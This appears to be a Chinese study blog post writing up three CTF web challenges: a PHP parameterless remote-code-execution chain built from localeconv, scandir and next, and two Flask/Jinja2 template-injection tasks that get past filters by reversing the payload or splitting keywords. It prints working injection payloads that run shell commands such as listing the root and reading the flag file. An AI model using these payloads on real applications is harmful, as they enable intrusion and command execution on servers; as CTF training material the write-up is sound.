4.3学习总结

HNCTF 2022 WEEK2Canyource(无参数)

通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性

这里是利用php函数来构造读取flag的方法

localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() -- 返回数组中的当前单元, 默认取第一个值

next -- 将内部指针指向数组下一个元素并输出

scandir() -- 扫描目录

array_reverse() -- 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元

打开环境,看见';'就能意识到是无参数了

注意这里不是apache环境,所以getallheaders没用,当时我就是尝试了很久都没有成功

先查看返回包含信息的数组

复制代码
code=var_dump(localeconv())

返回数组中的单元,这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."

复制代码
code=var_dump(pos(localeconv()))

返回单元后,扫描单元下目录,利用scandir函数

复制代码
code=var_dump(scandir(pos(localeconv())))

看见了flag,要读取,high和show都被过滤了,所以可以用file_get_contents(),但是flag没有在第一个数组,也没有在第二个数组(如果在第二个数组就可以用next使得内部指针指向下一个单位来读取)

可以翻转后再进行调整

复制代码
code=var_dump(array_reverse(scandir(pos(localeconv()))))

此时的flag就在第二个位置,用next调整指针位置来读取

复制代码
code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))

这题主要是无参数RCE的另外一种构造

HZNUCTF 2023 preliminaryflask(倒序排序)

打开环境,看见name在做了一些题的情况下应该是能想到SSTI的,开始测试注入的模板

在测试的时候发现对字符串进行了倒序排序,在尝试了6{*comment*}6之后,在尝试{{7*7}}时报错了

在尝试{{7*7}}时报错了(我以为是自己判断的问题,没去想过滤的问题,看了wp才知道是存在过滤,对{{进行了过滤)

既然存在倒序排序,那么就倒序排序payload后注入,负负得正,确实是jinja2模板类型

利用脚本对payload进行倒序排序,如果想尝试手工注入也是可以的

复制代码
import base64

strA = input()
strB = strA[::-1]

print(strB)

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

看见flag了,但是cat出来不是flag

又去查lwp才知道flag在env(环境变量)中,这个环境变量真不容易想到,记得有一次的ctf比赛就有一题flag藏在env里面,但是那题给来语句的暗示,这里我没明白怎么猜到的env

NCTF 2018flask真香(字符串拼接)

打开环境,可以直接传参来进行测试

这说明了是SSTI中jinja2的模板类型注入,按照正常来说,应该进行class来返回对象的类

复制代码
{{""['__class__']}}

没有回显,fuzz一下,不止SQL可以fuzz,SSTI也可以

过滤了一些命令吧,那么绕过就是首要问题, 我以为是要用新的命令来代替,没想到是进行拼接

复制代码
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D

os位置269

复制代码
{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

看见flag,tac/flag

复制代码
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D
相关推荐
知识分享小能手1 小时前
统计学学习教程,从入门到精通,参数估计 — 知识点详解与公式推导(10)
学习·机器学习·概率论
有Li1 小时前
EvoMDT:用于多癌种结构化临床决策的自进化多智能体系统文献速递/医学智能体前沿
人工智能·学习·分类·文献·医学生
sulikey4 小时前
个人Linux操作系统学习笔记11 - 环境变量
linux·笔记·学习
治愈系贝壳4 小时前
ARM --- day 6 时钟
linux·arm开发·学习
minglie15 小时前
zynq高频小数据量PS闭环的三个实验-第0课:目的和目标
学习
劈星斩月6 小时前
监督学习算法 之 决策树
学习·算法·决策树
AOwhisky6 小时前
Python 学习笔记(第五期)——组合数据类型:列表、元组、集合与字典精讲——核心知识点自测与详解
开发语言·笔记·python·学习·云计算
woshihuanglaoshi6 小时前
数据迁移与版本管理 - Flutter在鸿蒙平台实现数据库升级策略
数据库·学习·flutter·华为·harmonyos·鸿蒙·鸿蒙系统
世人万千丶16 小时前
参数管理_Flutter在鸿蒙平台路由参数最佳实践
学习·flutter·华为·harmonyos·鸿蒙
遇乐的果园19 小时前
前端学习笔记-vue加载渲染优化
前端·笔记·学习